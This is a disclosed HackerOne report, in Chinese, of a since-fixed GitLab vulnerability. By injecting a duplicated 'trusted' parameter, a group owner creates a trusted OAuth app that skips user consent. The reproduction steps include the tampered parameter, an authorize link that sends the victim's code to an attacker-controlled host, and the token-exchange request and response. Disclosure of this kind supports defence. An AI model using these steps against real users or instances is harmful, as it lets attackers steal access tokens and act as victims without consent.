GitLab | 报告 #1148364 - 针对特定用户生成OAuth2访问令牌 | HackerOne
摘要
通过组级应用设置中的漏洞,组所有者可以默认创建受用户信任的应用,从而绕过授权流程中的CSRF控制,生成目标用户的访问令牌。
复现步骤
- 以用户1身份登录,创建名为“恶意组”的组。
- 在设置 > 应用 > 勾选api范围,创建应用。
- 打开创建的应用并点击编辑,在点击“保存应用”时拦截请求,附加以下内容:
doorkeeper_application%5Btrusted%5D=0&doorkeeper_application%5Btrusted%5D=1&
,这将默认创建受信任的应用(此为实例管理员的预期功能)。
- 向用户发送以下链接,或将其放入img标签中:
https://gitlab.com/login/oauth/authorize?redirect_uri=http://<attacker-control>.com&client_id=9ff83fc426f95b5b5dec389ac02adf4ef800e4a0fb04faed6ffc8305f5fccf29&scope=api
- 您将看到带有代码的请求。
- 使用以下端点生成访问令牌。
代码示例
1
2
3
4
5
6
7
8
9
10
11
12
|
POST /login/oauth/access_token HTTP/1.1
Host: gdk.test:3000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: [多个cookie值]
Upgrade-Insecure-Requests: 1
Content-Length: 223
code=6c53ef532f34762b8705029d4fd005d2c32d788d3e3a78151c1b5f6a2743dffc&client_id=04a5da53b6faaba4758fcb0e7bd80845795c9c838363568c9b4efcc0bcec1934&client_secret=9de25469a82dee694ae4e33e02a3e97156bec87ba905fc4e3e34b9de805f9dc4
|
响应示例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
HTTP/1.1 200 OK
Cache-Control: max-age=0, private, must-revalidate, no-store
Content-Type: text/plain; charset=utf-8
Etag: W/"a219f8ac2bd29580e1f17894de3956da"
Pragma: no-cache
Referrer-Policy: strict-origin-when-cross-origin
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Frame-Options: DENY
X-Gitlab-Feature-Category: integrations
X-Permitted-Cross-Domain-Policies: none
X-Request-Id: 01F2E6M6TER14PB17H6XCDC0B3
X-Runtime: 0.257708
X-Ua-Compatible: IE=edge
X-Xss-Protection: 1; mode=block
Date: Sun, 04 Apr 2021 10:25:03 GMT
Content-Length: 105
Connection: close
access_token=bc3450dfcc2fb46eece85d1f74d96070f94cd35e656b184706027227243d5338&scope=api&token_type=Bearer
|
影响
攻击者可以获取任何目标用户的api范围访问权限,后续尝试启用更多范围。
当前错误行为
能够在未经同意的情况下获取用户的代码并生成访问令牌,从而以用户身份执行操作。
预期正确行为
组所有者在创建应用时不应能够默认启用“受信任”选项。
影响
获取目标用户数据的访问权限。
时间线
- 2021年4月4日 11:00 UTC:timothyleung 提交报告。
- 2021年4月5日 23:24 UTC:HackerOne分析团队开始审查。
- 2021年4月5日 23:35 UTC:状态更改为“已分类”,确认漏洞并内部跟踪。
- 2021年4月7日 02:31 UTC:GitLab推送修复,请求验证。
- 2021年4月7日 02:41 UTC:验证修复有效。
- 2021年4月20日 06:57 UTC:报告关闭,状态改为“已解决”,奖励发放。
- 2021年5月21日 20:00 UTC:请求披露报告。
- 2021年7月12日 22:47 UTC:再次请求披露。
- 11天前:同意披露报告,报告已公开。
参与者
- 报告者:timothyleung
- GitLab安全团队:rchan, dcouture
- HackerOne分析团队:h1_analyst_everton
报告详情
- 报告ID:#1148364
- 状态:已解决
- 严重性:高 (7 ~ 8.9)
- 披露日期:2025年7月23日 00:06 UTC
- 弱点:不当身份验证 - 通用
- CVE ID:无
- 赏金:隐藏